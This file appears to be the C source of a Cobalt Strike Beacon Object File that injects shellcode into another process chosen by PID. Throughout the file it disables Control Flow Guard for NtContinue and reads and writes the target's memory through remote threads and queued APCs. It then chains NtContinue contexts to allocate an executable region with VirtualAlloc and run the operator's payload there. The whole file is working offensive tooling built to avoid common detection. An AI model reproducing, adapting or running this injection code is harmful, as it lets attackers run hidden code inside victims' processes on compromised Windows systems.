Files
trickster0 4a289f5e15 Init
2025-06-21 13:55:06 +03:00

275 lines
12 KiB
C

#ifndef _WIN64
#error This code must be compiled with a 64-bit version of MSVC
#endif
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
//#include <tlhelp32.h>
#include "beacon.h"
#include "dep.h"
//#pragma comment(lib, "advapi32.lib")
//#pragma comment(lib, "shell32.lib")
//#pragma comment(lib, "user32.lib")
//#pragma warning(disable : 4047)
PVOID CustomCopy(PVOID Destination, CONST PVOID Source, SIZE_T Length)
{
PBYTE D = (PBYTE)Destination;
PBYTE S = (PBYTE)Source;
while (Length--)
*D++ = *S++;
return Destination;
}
VOID WINAPI CfgAddressAdd(ULONG_PTR ImageBase, ULONG_PTR Function, HANDLE hProc, int offset)
{
CFG_CALL_TARGET_INFO Cfg = { 0 };
SIZE_T Len = { 0 };
PIMAGE_NT_HEADERS Nth = NULL;
Nth = (PIMAGE_NT_HEADERS)RVA(PIMAGE_DOS_HEADER, ImageBase, ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
Len = (Nth->OptionalHeader.SizeOfImage + 0x1000 - 1) & ~(0x1000 - 1);
Cfg.Flags = CFG_CALL_TARGET_VALID;
Cfg.Offset = Function - ImageBase;
pSetProcessValidCallTargets FSetProcessValidCallTargets = (pSetProcessValidCallTargets)KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernelbase.dll"), "SetProcessValidCallTargets");
BOOL res = FSetProcessValidCallTargets(hProc, (PVOID)ImageBase, Len, offset, &Cfg);
if (!res) {
BeaconPrintf(CALLBACK_ERROR,"[X] Failed to disable CFG on NtContinue\n");
}
};
LPVOID getPeb(HANDLE hProc, HMODULE module) {
pNtQueryInformationProcess NtQueryInformationProcess = (pNtQueryInformationProcess)KERNEL32$GetProcAddress(module, "NtQueryInformationProcess");
PROCESS_BASIC_INFORMATION info;
MSVCRT$memset(&info, 0, sizeof(info));
DWORD retLength;
NTSTATUS status = NtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), &retLength);
return info.PebBaseAddress;
}
LPVOID RemoteAllocation(HANDLE hProc, LPVOID HeapAddr, int sizeofVal, HMODULE module) {
LPVOID mallocc = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("msvcrt.dll"), "malloc");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, mallocc, (PVOID)sizeofVal, FALSE, 0, 0, 0, NULL);
NtWaitForSingleObject(hThread, FALSE, NULL);
DWORD ExitCode = 0;
KERNEL32$GetExitCodeThread(hThread, &ExitCode);
DWORD64 heapAllocation = (0xFFFFFFFF00000000 & (INT64)HeapAddr) + ExitCode;
BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Allocation: %p\n", heapAllocation);
return (LPVOID)heapAllocation;
}
void WriteRemoteMemory(HANDLE hProc, LPVOID heapAllocation, int sizeofVal, unsigned char* buffer, HMODULE module) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote %i bytes\n", sizeofVal);
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread");
pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread");
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
LPVOID RtlFillMemory = KERNEL32$GetProcAddress(module, "RtlFillMemory");
LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread");
LPVOID RtlInitializeBitMapEx = KERNEL32$GetProcAddress(module, "RtlInitializeBitMapEx");
HANDLE hThread2 = NULL;
NtCreateThreadEx(&hThread2, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0, 0, NULL);
int alignmentCheck = sizeofVal % 16;
int offsetMax = sizeofVal - alignmentCheck;
int firCounter = 0;
int eightCounter = 0;
int secCounter = 0;
int mod = 0;
if (sizeofVal >= 16) {
for (firCounter = 0; firCounter < offsetMax -1; firCounter = firCounter + 16) {
char* heapWriter = (char*)heapAllocation + firCounter;
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter + 8), (PVOID)*(ULONG_PTR*)((char*)buffer + firCounter));
}
}
if (alignmentCheck >= 8) {
for (eightCounter = firCounter; (eightCounter + 8) < (firCounter + alignmentCheck -1); eightCounter = eightCounter + 8) {
char* heapWriter = (char*)heapAllocation + eightCounter;
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlInitializeBitMapEx, (PVOID)heapWriter, NULL, (PVOID)*(ULONG_PTR*)((char*)buffer + eightCounter));
}
alignmentCheck -= 8;
}
if (alignmentCheck != 0 && alignmentCheck < 8) {
if ((firCounter != 0 && eightCounter != 0) || (firCounter != 0 && eightCounter != 0)){
secCounter = eightCounter;
mod = eightCounter;
}
else if (firCounter != 0 && eightCounter == 0){
secCounter = firCounter;
mod = firCounter;
}
for (; secCounter < (mod + alignmentCheck); secCounter++) {
char* heapWriter = (char*)heapAllocation + secCounter;
NtQueueApcThread(hThread2, (PKNORMAL_ROUTINE)RtlFillMemory, (PVOID)heapWriter, (PVOID)1, (PVOID)buffer[secCounter]);
}
}
NtResumeThread(hThread2, NULL);
NtWaitForSingleObject(hThread2, FALSE, NULL);
}
unsigned char* ReadRemoteMemory(HANDLE hProc, LPVOID addrOf, int sizeofVal, HMODULE module) {
pRtlQueryDepthSList RtlQueryDepthSList = (pRtlQueryDepthSList)KERNEL32$GetProcAddress(module, "RtlQueryDepthSList");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtWaitForSingleObject NtWaitForSingleObject = (pNtWaitForSingleObject)KERNEL32$GetProcAddress(module, "NtWaitForSingleObject");
BeaconPrintf(CALLBACK_OUTPUT, "[+] Read %i bytes\n", sizeofVal);
unsigned char* readBytes = (unsigned char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, 8);
DWORD dwDataLength = sizeofVal;
for (DWORD i = 0; i < dwDataLength; i = i + 2)
{
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc, RtlQueryDepthSList, (ULONG_PTR*)((BYTE*)addrOf + i), FALSE, 0, 0, 0, NULL);
DWORD ExitCode = 0;
NtWaitForSingleObject(hThread, FALSE, NULL);
KERNEL32$GetExitCodeThread(hThread, &ExitCode);
if (dwDataLength - i == 1)
{
CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 1);
}
else
{
CustomCopy((char*)readBytes + i, (const void*)&ExitCode, 2);
}
}
return readBytes;
}
VOID InjectShellcode(HANDLE hProc, INT64 heapAddress, HMODULE module, char* sc_ptr, SIZE_T sc_len) {
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)KERNEL32$GetProcAddress(module, "NtQueueApcThread");
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)KERNEL32$GetProcAddress(module, "NtCreateThreadEx");
pNtResumeThread NtResumeThread = (pNtResumeThread)KERNEL32$GetProcAddress(module, "NtResumeThread");
pNtContinue NtContinue = (pNtContinue)KERNEL32$GetProcAddress(module, "NtContinue");
pNtTestAlert NtTestAlert = (pNtTestAlert)KERNEL32$GetProcAddress(module, "NtTestAlert");
pNtGetContextThread NtGetContextThread = (pNtGetContextThread)KERNEL32$GetProcAddress(module, "NtGetContextThread");
LPVOID RtlExitUserThread = KERNEL32$GetProcAddress(module, "RtlExitUserThread");
LPVOID NTALLOC = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "VirtualAlloc");
LPVOID wso = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32.dll"), "WaitForSingleObject");
PCONTEXT ContextRopAlloc = { 0 };
PCONTEXT ContextFake = { 0 };
PCONTEXT ContextExec = { 0 };
PCONTEXT ContextRopcpy = { 0 };
ContextRopAlloc = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
ContextExec = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
ContextFake = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
ContextRopcpy = (PCONTEXT)KERNEL32$LocalAlloc(LPTR, sizeof(CONTEXT));
HANDLE fakeThread = NULL;
NtCreateThreadEx(&fakeThread, THREAD_ALL_ACCESS, NULL, hProc, RtlExitUserThread, (PVOID)0x00000000, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL);
ContextFake->ContextFlags = CONTEXT_FULL;
NtGetContextThread(fakeThread, ContextFake);
CustomCopy(ContextRopAlloc, ContextFake, sizeof(CONTEXT));
ContextRopAlloc->ContextFlags = CONTEXT_FULL;
CustomCopy(ContextRopcpy, ContextFake, sizeof(CONTEXT));
ContextRopcpy->ContextFlags = CONTEXT_FULL;
CustomCopy(ContextExec, ContextFake, sizeof(CONTEXT));
ContextExec->ContextFlags = CONTEXT_FULL;
PCONTEXT contextOfVirtualAlloc = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
ContextRopAlloc->Rsp -= (ULONG_PTR)0x1000 * 9;
ContextRopAlloc->Rip = (ULONG_PTR)NTALLOC;
ContextRopAlloc->Rcx = (ULONG_PTR)0x00000000DDDD0000;
ContextRopAlloc->Rdx = (ULONG_PTR)sc_len;
ContextRopAlloc->R8 = (ULONG_PTR)MEM_COMMIT | MEM_RESERVE;
ContextRopAlloc->R9 = (ULONG_PTR)PAGE_EXECUTE_READWRITE;
WriteRemoteMemory(hProc, contextOfVirtualAlloc, sizeof(CONTEXT), (unsigned char*)ContextRopAlloc, module);
WriteRemoteMemory(hProc, (PVOID)ContextRopAlloc->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfVirtualAlloc, NULL, NULL);
PCONTEXT contextOfcpy = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
ContextRopcpy->Rsp -= (ULONG_PTR)0x1000 * 8;
ContextRopcpy->Rip = (ULONG_PTR)wso;
ContextRopcpy->Rcx = (ULONG_PTR)(HANDLE)-1;
ContextRopcpy->Rdx = (ULONG_PTR)10000;
WriteRemoteMemory(hProc, contextOfcpy, sizeof(CONTEXT), (unsigned char*)ContextRopcpy, module);
WriteRemoteMemory(hProc, (PVOID)ContextRopcpy->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfcpy, NULL, NULL);
PCONTEXT contextOfExec = (PCONTEXT)RemoteAllocation(hProc, (LPVOID)heapAddress, sizeof(CONTEXT), module);
ContextExec->Rsp -= (ULONG_PTR)0x1000 * 7;
ContextExec->Rip = (ULONG_PTR)0x00000000DDDD0000;
WriteRemoteMemory(hProc, contextOfExec, sizeof(CONTEXT), (unsigned char*)ContextExec, module);
WriteRemoteMemory(hProc, (PVOID)ContextExec->Rsp, sizeof(PVOID), (unsigned char*)&NtTestAlert, module);
NtQueueApcThread(fakeThread, (PKNORMAL_ROUTINE)NtContinue, contextOfExec, NULL, NULL);
NtResumeThread(fakeThread, NULL);
WriteRemoteMemory(hProc, (LPVOID)0x00000000DDDD0000, sc_len, sc_ptr, module);
KERNEL32$LocalFree(ContextRopAlloc);
KERNEL32$LocalFree(ContextExec);
KERNEL32$LocalFree(ContextFake);
}
void go(char *args, int len) {
char* sc_ptr;
SIZE_T sc_len;
DWORD pid;
datap parser;
HANDLE hProc = NULL;
BeaconDataParse(&parser, args, len);
pid = BeaconDataInt(&parser);
sc_len = BeaconDataLength(&parser) - 4;
sc_ptr = BeaconDataExtract(&parser, NULL);
HMODULE hNtdll = KERNEL32$GetModuleHandleA("ntdll.dll");
LPVOID NtContinue = (LPVOID)KERNEL32$GetProcAddress(hNtdll, "NtContinue");
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION, FALSE, pid);
if (hProc == NULL){
BeaconPrintf(CALLBACK_ERROR, "[X] OpenProcess Failed!\n");
return;
}
CfgAddressAdd((ULONG_PTR)hNtdll, (ULONG_PTR)NtContinue, hProc, 0x1);
KERNEL32$CloseHandle(hProc);
hProc = NULL;
hProc = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
LPVOID PebAddr = getPeb(hProc, hNtdll);
KERNEL32$CloseHandle(hProc);
hProc = NULL;
hProc = KERNEL32$OpenProcess(PROCESS_CREATE_THREAD, FALSE, pid);
BeaconPrintf(CALLBACK_OUTPUT, "[+] Peb Address: 0x%p\n", PebAddr);
INT64* HeapAddr = (INT64*)ReadRemoteMemory(hProc, (char*)PebAddr + 0x30, 8, hNtdll);
INT64 readHeap = *HeapAddr;
BeaconPrintf(CALLBACK_OUTPUT, "[+] Heap Base Addr: %p\n", readHeap);
InjectShellcode(hProc, readHeap, hNtdll ,sc_ptr, sc_len);
KERNEL32$CloseHandle(hProc);
}